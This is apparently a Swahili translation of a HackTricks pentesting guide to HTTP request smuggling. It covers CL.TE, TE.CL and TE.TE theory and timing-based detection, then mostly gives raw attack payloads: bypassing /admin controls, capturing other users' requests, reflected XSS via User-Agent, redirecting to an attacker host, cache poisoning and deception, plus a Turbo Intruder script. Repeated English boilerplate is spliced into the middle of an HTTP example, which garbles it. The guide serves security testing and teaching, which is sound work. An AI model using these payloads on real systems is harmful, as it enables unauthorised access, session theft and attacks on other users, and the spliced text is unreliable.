hacktricks/pentesting-web/http-request-smuggling

HTTP Omba Smuggling / HTTP Desync Shambulio

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
• Pata swag rasmi ya PEASS & HackTricks
• Gundua The PEASS Family, mkusanyiko wetu wa kipekee wa NFTs
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
• Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.

Ni nini

Udhaifu huu unatokea wakati desyncronization kati ya proxies ya mbele na seva ya nyuma inaruhusu mshambuliaji kutuma ombi la HTTP ambalo litakuwa linaeleweka kama ombi moja na proxies ya mbele (usawa wa mzigo / reverse-proxy) na kama ombi 2 na seva ya nyuma.
Hii inaruhusu mtumiaji kubadilisha ombi lifuatalo linalofika kwenye seva ya nyuma baada yake.

Nadharia

RFC Specification (2161)

Ikiwa ujumbe unapokelewa na kichwa cha ujumbe cha Transfer-Encoding na kichwa cha ujumbe cha Content-Length, kichwa cha mwisho KINASTAHILI kupuuzwa.

Content-Length

Kichwa cha mwili cha Content-Length kinaonyesha ukubwa wa mwili wa kipengele, kwa herufi, uliotumwa kwa mpokeaji.

Transfer-Encoding: chunked

Kichwa cha uhamishaji-kuweka kinaonyesha fomu ya uandikishaji inayotumiwa kuhamisha salama mwili wa mzigo kwa mtumiaji.
Chunked inamaanisha kuwa data kubwa inatumwa katika safu ya vipande

Uhalisia

Mbele (usawa wa mzigo / Reverse Proxy) inapitisha kichwa cha content-length au transfer-encoding na seva ya nyuma inapitisha kingine, ikisababisha desyncronization kati ya mifumo 2.
Hii inaweza kuwa hatari sana kwani mshambuliaji ataweza kutuma ombi moja kwa reverse proxy ambayo itaeleweka na seva ya nyuma kama ombi 2 tofauti. Hatari ya mbinu hii inategemea ukweli kwamba seva ya nyuma itaielewa ombi la 2 lililowekwa kama linatoka kwa mteja anayefuata na ombi halisi la mteja huyo litakuwa sehemu ya ombi lililowekwa.

Mahususi

Kumbuka kuwa katika HTTP tabia mpya ya mstari inaundwa na herufi 2:

• Content-Length: Kichwa hiki kinatumia namba ya kumi kuonyesha idadi ya herufi za mwili wa ombi. Mwili unatarajiwa kuishia kwenye herufi ya mwisho, mstari mpya hauna haja mwishoni mwa ombi.
• Transfer-Encoding: Kichwa hiki kinatumia katika mwili namba ya hexadecimal kuonyesha idadi ya herufi za kipande kifuatacho. Kipande kinapaswa kuishia na mstari mpya lakini mstari huu mpya hauna hesabu na kiashiria cha urefu. Njia hii ya uhamishaji lazima iishe na kipande cha ukubwa 0 kifuatiwa na mistari 2 mipya: 0
• Connection: Kulingana na uzoefu wangu, ni vyema kutumia Connection: keep-alive kwenye ombi la kwanza la Omba Smuggling.

Mifano Muhimu

Mashambulio ya ombi la omba yanatengenezwa kwa kutuma maombi yasiyojulikana ambayo yanatumia tofauti katika jinsi seva za mbele na seva za nyuma zinaelewa vichwa vya Content-Length (CL) na Transfer-Encoding (TE). Mashambulio haya yanaweza kuonekana katika aina tofauti, haswa kama CL.TE, TE.CL, na TE.TE. Kila aina inawakilisha mchanganyiko tofauti wa jinsi seva za mbele na seva za nyuma zinapendelea vichwa hivi. Udhaifu unatokea wakati seva zinaprocess ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.

Mifano Muhimu ya Aina za Udhaifu

Udhaifu wa CL.TE (Content-Length inayotumiwa na Mbele, Transfer-Encoding inayotumiwa na Nyuma)

• Mbele (CL): Inaprocess ombi kulingana na kichwa cha Content-Length.
• Nyuma (TE): Inaprocess ombi kulingana na kichwa cha Transfer-Encoding.
• Skena ya Shambulio:
• Mshambuliaji anatuma ombi ambapo thamani ya kichwa cha Content-Length haifanani na urefu halisi wa yaliyomo.
• Seva ya mbele inapeleka ombi lote kwa seva ya nyuma, kulingana na thamani ya Content-Length.
• Seva ya nyuma inaprocess ombi kama chunked kwa sababu ya kichwa cha Transfer-Encoding: chunked, ikielewa data iliyobaki kama ombi tofauti, la baadaye.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Udhaifu wa TE.CL (Transfer-Encoding inayotumiwa na Mbele, Content-Length inayotumiwa na Nyuma)

• Mbele (TE): Inaprocess ombi kulingana na kichwa cha Transfer-Encoding.
• Nyuma (CL): Inaprocess ombi kulingana na kichwa cha Content-Length.
• Skena ya Shambulio:
• Mshambuliaji anatuma ombi la chunked ambapo ukubwa wa chunk (7b) na urefu halisi wa yaliyomo (Content-Length: 4) havilingani.
• Seva ya mbele, ikizingatia Transfer-Encoding, inapeleka ombi lote kwa seva ya nyuma.
• Seva ya nyuma, ikizingatia Content-Length, inaprocess sehemu ya awali tu ya ombi (7b herufi), ikiiacha sehemu iliyobaki kama sehemu ya ombi isiyokusudiwa, la baadaye.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Mfumo wa Uvujaji wa TE.TE (Transfer-Encoding inayotumiwa na wote, na ufichaji)

• Seva: Wote wanaunga mkono Transfer-Encoding, lakini mmoja wao anaweza kudanganywa kuipuuza kupitia ufichaji.
• Skenario ya Shambulio:
• Mshambuliaji anatuma ombi lenye vichwa vilivyofichwa vya Transfer-Encoding.
• Kulingana na seva ipi (mbele au nyuma) inashindwa kutambua ufichaji, udhaifu wa CL.TE au TE.CL unaweza kudukuliwa.
• Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikisababisha uvujaji.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Skenario ya CL.CL (Content-Length inayotumiwa na Mbele na Nyuma):

• Seva zote mbili zinasindika ombi kulingana tu na kichwa cha Content-Length.
• Skenario hii kawaida haiongozi kwa uvujaji, kwani kuna uwiano katika jinsi seva zote mbili zinavyotafsiri urefu wa ombi.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Ombi Kawaida

Skenario ya CL != 0:

• Inahusu hali ambapo kichwa cha Content-Length kipo na kina thamani isiyokuwa sifuri, ikionyesha kuwa mwili wa ombi una maudhui.
• Ni muhimu katika kuelewa na kuunda mashambulio ya uvujaji, kwani inaathiri jinsi seva zinavyodetermine mwisho wa ombi.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Mwili Usio Tupa

Kulazimisha kupitia vichwa vya hop-by-hop

Kwa kutumia vichwa vya hop-by-hop, unaweza kuonyesha proksi kufuta kichwa cha Content-Length au Transfer-Encoding ili iwezekane kudukua ombi la HTTP.

Connection: Content-Length

Kwa mashauri zaidi kuhusu vichwa vya habari vya hatua kwa hatua, tembelea:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Kugundua Uvujaji wa Ombi la HTTP

Kutambua udhaifu wa uvujaji wa ombi la HTTP mara nyingi hufikiwa kwa kutumia mbinu za wakati, ambazo zinategemea kuchunguza muda gani inachukua kwa seva kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu sana katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine ambazo zinaweza kutumika kupata udhaifu kama huo:

Kugundua Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati

• Mbinu:
• Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha seva ya nyuma kusubiri data zaidi.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Uchunguzi:

• Seva ya mbele inaprocess ombi kulingana na Content-Length na inakata ujumbe mapema.

• Seva ya nyuma, ikitegemea ujumbe uliogawanywa, inasubiri ujumbe unaofuata ambao haujafika, ikisababisha kuchelewa.

• Viashiria:

• Muda wa kusubiri au kuchelewa kwa majibu.

• Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, mara nyingi na habari za kina za seva.

Kugundua Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati

• Mbinu:
• Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha seva ya nyuma kusubiri data zaidi.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Uchunguzi:
• Seva ya mbele inaprocess ombi kulingana na Transfer-Encoding na inapeleka ujumbe wote.
• Seva ya nyuma, ikitegemea ujumbe kulingana na Content-Length, inasubiri data zaidi ambayo haijafika, ikisababisha kuchelewa.

Mbinu Zingine za Kugundua Udhaifu

• Uchambuzi Tofauti wa Majibu:

• Tuma toleo kidogo tofauti za ombi na uchunguze ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika uchambuzi.

• Kutumia Zana za Kiotomatiki:

• Zana kama 'HTTP Request Smuggler' ya Burp Suite inaweza kujaribu moja kwa moja udhaifu huu kwa kutuma aina mbalimbali za maombi yasiyojulikana na kuchambua majibu.

• Vipimo vya Ulinganifu wa Urefu wa Yaliyomo:

• Tuma maombi na thamani tofauti za Content-Length ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi seva inavyoshughulikia kutofautiana kama hizo.

• Vipimo vya Ulinganifu wa Uhamishaji wa Vichwa vya Habari:

• Tuma maombi na vichwa vya habari vilivyofichwa au vilivyoharibika vya Transfer-Encoding na uangalie jinsi seva ya mbele na seva ya nyuma zinavyojibu kwa manipulations kama hizo.

Jaribio la Udhaifu wa Uvujaji wa Ombi la HTTP

Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuhakikisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Njia rahisi ni kujaribu kuharibu maombi yako, kwa mfano, kufanya ombi kwa / kutoa jibu la 404. Mifano ya CL.TE na TE.CL iliyozungumziwa hapo awali katika Mifano Muhimu inaonyesha jinsi ya kuharibu ombi la mteja ili kupata jibu la 404, licha ya mteja kutaka kupata rasilimali tofauti.

Mambo Muhimu

Wakati unajaribu udhaifu wa uvujaji wa ombi kwa kuingilia kati na maombi mengine, kumbuka:

• Miunganisho ya Mtandao Iliyotofautishwa: Maombi ya "shambulio" na "kawaida" yanapaswa kutumwa kupitia miunganisho tofauti ya mtandao. Kutumia uunganisho sawa kwa maombi yote haihakikishi uwepo wa udhaifu.
• URL na Vigezo Thabiti: Jaribu kutumia URL na majina sawa ya vigezo kwa maombi yote. Programu za kisasa mara nyingi hurekebisha maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha hizi kunaweza kuongeza uwezekano wa maombi yote kusindika na seva ile ile, ambayo ni sharti la shambulio la mafanikio.
• Wakati na Hali za Mashindano: Ombi la "kawaida", lililokusudiwa kugundua kuingiliwa na ombi la "shambulio", linashindana na maombi mengine yanayofanywa wakati huo huo. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zilizojaa zinaweza kuhitaji majaribio mengi ili kuthibitisha udhaifu kwa uhakika.
• Changamoto za Kusawazisha Mzigo: Seva za mbele zinazofanya kazi kama wasambazaji wa mzigo zinaweza kugawa maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Hali hii ya kusawazisha mzigo inaweza kuhitaji majaribio kadhaa ili kuthibitisha udhaifu.
• Athari Isiyokusudiwa kwa Mtumiaji: Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Jaribio la mara kwa mara linaweza kuvuruga watumiaji wengine, na hivyo kuhitaji tahadhari.

Kufanya Uvujaji wa Ombi la HTTP

Kudukua Udhibiti wa Usalama wa Mbele

Kuzunguka Udhibiti wa Usalama wa Mbele kupitia Uvujaji wa Ombi la HTTP

Marafiki, mara nyingi, wakala wa mbele hutekeleza hatua za usalama, ukaguzi wa maombi yanayoingia. Walakini, hatua hizi zinaweza kuzungukwa kwa kudukua Uvujaji wa Ombi la HTTP, kuruhusu ufikiaji usiohalali kwa sehemu zilizozuiwa. Kwa mfano, kufikia /admin inaweza kuwa imezuiwa kwa upande wa nje, na wakala wa mbele akizuia kwa bidii jaribio kama hilo. Walakini, wakala huyu anaweza kusahau kuchunguza maombi yaliyomo ndani ya ombi la HTTP lililodukuliwa, kuacha mwanya wa kuzunguka vizuizi hivi.

Fikiria mifano ifuatayo inayoonyesha jinsi Uvujaji wa Ombi la HTTP unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, haswa kwa kulenga njia ya /admin ambayo kwa kawaida inalindwa na wakala wa mbele:

Mfano wa CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Katika shambulio la CL.TE, kichwa cha habari cha Content-Length kinatumika kwa ombi la awali, wakati ombi lililofungwa linatumia kichwa cha habari cha Transfer-Encoding: chunked. Mfumo wa mbele wa proksi unaprocess ombi la awali la POST lakini hauangalii ombi lililofungwa la GET /admin, kuruhusu ufikiaji usiohalali kwa njia ya /admin.

Mfano wa TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Kinyume chake, katika shambulio la TE.CL, ombi la awali la POST linatumia Transfer-Encoding: chunked, na ombi lililofichwa baadaye linashughulikiwa kulingana na kichwa cha Content-Length. Kama ilivyo kwa shambulio la CL.TE, mtoa huduma wa mbele anapuuza ombi lililofichwa la GET /admin, kwa bahati mbaya kutoa ufikiaji kwa njia ya /admin iliyozuiwa.

Kufichua upya wa ombi la mbele la mbele

Programu nyingi hutumia seva ya mbele kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida kunahusisha kuongeza vichwa, kama vile X-Forwarded-For: <IP ya mteja>, ili kuwasilisha IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya kunaweza kuwa muhimu, kwani inaweza kufichua njia za kupita kinga au kugundua habari au vituo vilivyofichwa.

Ili kuchunguza jinsi mtoa huduma anavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, kama ifuatavyo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Katika muundo huu, sehemu zifuatazo za ombi zinaongezwa baada ya search=, ambayo ni parameter inayojitokeza katika jibu. Ujumbe huu utafichua vichwa vya habari vya ombi linalofuata.

Ni muhimu kulinganisha kichwa cha Content-Length cha ombi lililofichwa na urefu halisi wa yaliyomo. Ni vyema kuanza na thamani ndogo na kuongeza taratibu, kwani thamani ndogo sana itakata data iliyofichwa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.

Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na search=\r\n0. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.

Mbinu hii kimsingi inatumika kuelewa mabadiliko ya ombi yaliyofanywa na wakala wa mbele, kwa kufanya uchunguzi wa kujielekeza.

Kukamata maombi ya watumiaji wengine

Inawezekana kukamata maombi ya mtumiaji mwingine kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa kuna jinsi hii inavyoweza kufanikishwa:

Kwa kuongeza ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja linalofuata:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Katika hali hii, parameteri ya maoni inakusudiwa kuhifadhi maudhui ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi linalofuata yataonekana kama maoni.

Hata hivyo, njia hii ina vikwazo. Kwa ujumla, inakamata data hadi kwenye kizuizi cha parameteri kilichotumiwa katika ombi lililopitishwa. Kwa fomu zilizofanywa kuwa URL-encoded, kizuizi hiki ni herufi &. Hii inamaanisha kuwa maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye & ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utafutaji.

Aidha, ni muhimu kutambua kuwa njia hii pia inafaa na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na search=\r\n0. Bila kujali herufi za mstari mpya, thamani zitaongezwa kwenye parameteri ya utafutaji.

Kutumia udukuzi wa ombi la HTTP kuathiri XSS iliyorejelewa

Udukuzi wa Ombi la HTTP unaweza kutumika kuathiri kurasa za wavuti zilizo hatarini kwa XSS iliyorejelewa, na kutoa faida kubwa:

• Hakuhitaji mwingiliano na watumiaji walengwa.
• Inaruhusu udukuzi wa XSS katika sehemu za ombi ambazo kwa kawaida hazipatikani, kama vile vichwa vya ombi la HTTP.

Katika hali ambapo wavuti inaweza kuathiriwa na XSS iliyorejelewa kupitia kichwa cha User-Agent, mzigo wa kufuatia unadhihirisha jinsi ya kutumia udhaifu huu:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Mzigo huu umepangwa kuathiri udhaifu kwa:

1. Kuanzisha ombi la POST, kwa kuonekana kawaida, na kichwa cha Transfer-Encoding: chunked kuonyesha kuanza kwa smuggling.
2. Kufuatiwa na 0, kuashiria mwisho wa mwili wa ujumbe wa chunked.
3. Kisha, ombi la GET lililosafirishwa linawasilishwa, ambapo kichwa cha User-Agent kimeingizwa na script, <script>alert(1)</script>, kusababisha XSS wakati seva inapoprocess ombi hili la pili.

Kwa kubadilisha User-Agent kupitia smuggling, mzigo huu unapita kizuizi cha ombi kawaida, hivyo kuathiri udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.

Kutumia smuggling ya ombi la HTTP kubadilisha upya kwenye tovuti kuwa upya wazi

Kudukua Upya kwenye Tovuti kwa Kutumia Smuggling ya Ombi la HTTP

Programu mara nyingi hurekebisha kutoka kwenye URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kwa kichwa cha Host katika URL ya upya. Hii ni kawaida kwa seva za wavuti kama Apache na IIS. Kwa mfano, kuomba saraka bila mstari wa mwisho kunasababisha upya ili kuongeza mstari wa mwisho:

GET /home HTTP/1.1
Host: normal-website.com

HTTP Request Smuggling

This technique allows an attacker to manipulate the way a front-end and back-end server interpret HTTP requests, leading to potential security vulnerabilities. By exploiting inconsistencies in how different servers handle request parsing, an attacker can smuggle malicious requests that bypass security measures.

How it works

HTTP Request Smuggling takes advantage of the differences in how front-end and back-end servers interpret HTTP requests. The attack involves sending a specially crafted request that is interpreted differently by the two servers.

The attack typically involves two HTTP requests: a "smuggled" request and a "smuggling" request. The smuggled request is designed to be interpreted differently by the front-end and back-end servers. The smuggling request is used to manipulate the way the servers interpret the smuggled request.

The attack relies on various techniques, such as:

• Header Splitting: Manipulating headers to create multiple requests within a single HTTP request.
• Content-Length Mismatch: Sending a request with a Content-Length header that does not match the actual length of the request body.
• Transfer-Encoding Mismatch: Sending a request with a Transfer-Encoding header that does not match the actual encoding of the request body.

Impact

HTTP Request Smuggling can have serious security implications, including:

• Request Smuggling: An attacker can smuggle malicious requests that bypass security measures, potentially leading to unauthorized access or data leakage.
• Cache Poisoning: By manipulating the way requests are interpreted, an attacker can poison the cache and serve malicious content to users.
• Session Hijacking: Exploiting request smuggling vulnerabilities can allow an attacker to hijack user sessions and impersonate legitimate users.

Mitigation

To protect against HTTP Request Smuggling attacks, consider the following mitigation techniques:

• Request Parsing Consistency: Ensure that front-end and back-end servers interpret HTTP requests consistently.
• Request Validation: Implement strict request validation to detect and reject malformed or suspicious requests.
• Security Headers: Use security headers, such as Content-Length and Transfer-Encoding, correctly and consistently.
• Web Application Firewall (WAF): Deploy a WAF to detect and block HTTP Request Smuggling attacks.
• Regular Security Audits: Conduct regular security audits to identify and address any vulnerabilities in the application.

References

• PortSwigger - HTTP Request Smuggling
• OWASP - HTTP Request Smuggling

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Ingawa inaonekana kuwa isiyo na madhara, tabia hii inaweza kudhibitiwa kwa kutumia udukuzi wa ombi la HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hii ombi lililokwepa linaweza kusababisha ombi la mtumiaji lililopita kusambazwa kwenye tovuti inayodhibitiwa na mshambuliaji:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP Request Smuggling

This technique allows an attacker to manipulate the way a front-end and back-end server interpret HTTP requests, leading to potential security vulnerabilities. By exploiting inconsistencies in how different servers handle request parsing, an attacker can smuggle malicious requests that bypass security measures.

How it works

HTTP Request Smuggling takes advantage of the differences in how front-end and back-end servers interpret HTTP requests. The attack involves sending a specially crafted request that is interpreted differently by the two servers.

The attack typically involves two HTTP requests: a "smuggled" request and a "smuggling" request. The smuggled request is designed to be interpreted differently by the front-end and back-end servers. The smuggling request is used to manipulate the way the servers interpret the smuggled request.

The attack relies on various techniques, such as:

• Header Splitting: Manipulating headers to create multiple requests within a single HTTP request.
• Content-Length Mismatch: Sending a request with a Content-Length header that does not match the actual length of the request body.
• Transfer-Encoding Mismatch: Sending a request with a Transfer-Encoding header that does not match the actual encoding of the request body.

Impact

HTTP Request Smuggling can have serious security implications, including:

• Request Smuggling: An attacker can smuggle malicious requests that bypass security measures, potentially leading to unauthorized access, data leakage, or remote code execution.
• Cache Poisoning: By manipulating the way requests are interpreted, an attacker can poison the cache and serve malicious content to users.
• Session Hijacking: By manipulating the way requests are interpreted, an attacker can hijack user sessions and impersonate legitimate users.

Mitigation

To mitigate the risk of HTTP Request Smuggling, consider the following measures:

• Web Application Firewall (WAF): Implement a WAF that can detect and block HTTP Request Smuggling attacks.
• Secure Configuration: Ensure that front-end and back-end servers are properly configured to handle HTTP requests and prevent request smuggling.
• Regular Updates: Keep servers and web applications up to date with the latest security patches to mitigate known vulnerabilities.
• Input Validation: Implement strict input validation to prevent malicious requests from being processed.
• Security Testing: Conduct regular security testing, including penetration testing, to identify and address any vulnerabilities.

References

• PortSwigger - HTTP Request Smuggling
• OWASP - HTTP Request Smuggling

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Katika hali hii, ombi la mtumiaji kwa faili ya JavaScript linatekwa. Mshambuliaji anaweza kuhatarisha mtumiaji kwa kutoa JavaScript mbaya kama jibu.

Kutumia udanganyifu wa ombi la HTTP kufanya sumu ya hifadhi ya wavuti

Kudanganya Sumu ya Hifadhi ya Wavuti kupitia Udanganyifu wa Ombi la HTTP

Sumu ya hifadhi ya wavuti inaweza kutekelezwa ikiwa sehemu yoyote ya miundombinu ya mbele inahifadhi yaliyomo, kawaida ili kuongeza utendaji. Kwa kubadilisha jibu la seva, inawezekana kufanya sumu ya hifadhi.

Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia Mifano ya Msingi). Vivyo hivyo, ni rahisi kudanganya seva ili kutoa yaliyomo ya /index.html kama jibu kwa ombi la /static/include.js. Kwa hivyo, yaliyomo ya /static/include.js yanabadilishwa katika hifadhi na yale ya /index.html, ikifanya /static/include.js kuwa haipatikani kwa watumiaji, na kusababisha uwezekano wa Kukataa Huduma (DoS).

Mbinu hii inakuwa hasa yenye nguvu ikiwa kuna mdhaifu wa Uelekezaji wa Wazi uliogunduliwa au ikiwa kuna uelekezaji kwenye wavuti kwenda kwa uelekezaji wazi. Mdhaifu kama huo unaweza kutumiwa kubadilisha yaliyomo yaliyohifadhiwa ya /static/include.js na hati inayodhibitiwa na mshambuliaji, kimsingi kuwezesha shambulio la Kuvuka Tovuti (XSS) kwa wateja wote wanaotaka /static/include.js iliyosasishwa.

Hapa chini ni mfano wa kudanganya sumu ya hifadhi iliyochanganywa na uelekezaji kwenye wavuti kwenda kwa uelekezaji wazi. Lengo ni kubadilisha yaliyomo ya hifadhi ya /static/include.js ili kutumikia nambari ya JavaScript inayodhibitiwa na mshambuliaji:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Tafadhali kumbuka ombi lililofichwa linalolenga /post/next?postId=3. Ombi hili litaelekezwa kwa /post?postId=4, kwa kutumia kichwa cha Host kuamua kikoa. Kwa kubadilisha kichwa cha Host, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (uongozi wa ndani kwenda kwenye uongozi wazi).

Baada ya kufanikiwa kwa sumu ya soketi, ombi la GET kwa /static/include.js linapaswa kuanzishwa. Ombi hili litachanganywa na ombi la awali la uongozi wa ndani kwenda kwenye uongozi wazi na kupata maudhui ya skripti inayodhibitiwa na mshambuliaji.

Kwa hiyo, ombi lolote la /static/include.js litahudumia maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, kuzindua mashambulizi ya XSS kwa kiasi kikubwa.

Kutumia udanganyifu wa ombi la HTTP kutekeleza udanganyifu wa akiba ya wavuti

Je, tofauti kati ya sumu ya akiba ya wavuti na udanganyifu wa akiba ya wavuti ni ipi?

• Katika sumu ya akiba ya wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye akiba, na maudhui haya hutumikia kutoka kwenye akiba kwa watumiaji wengine wa programu.
• Katika udanganyifu wa akiba ya wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye akiba, na kisha mshambuliaji huchukua maudhui haya kutoka kwenye akiba.

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Ikiwa ombi hili lililokwepa linaingiza data yenye sumu kwenye kumbukumbu iliyokusudiwa kwa yaliyomo ya kudumu (kwa mfano, /someimage.png), data nyeti ya mwathirika kutoka /private/messages inaweza kuhifadhiwa chini ya kumbukumbu ya yaliyomo ya kudumu. Kwa hivyo, mshambuliaji anaweza kupata data nyeti iliyohifadhiwa hivi.

Kutumia Ujanja wa Ombi la HTTP kwa Kusawazisha Majibu ya HTTP

Je, umepata kasoro ya Ujanja wa Ombi la HTTP na hujui jinsi ya kuitumia. Jaribu njia hii nyingine ya kutumia:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Skrini za Turbo Intruder

CL.TE

Kutoka https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
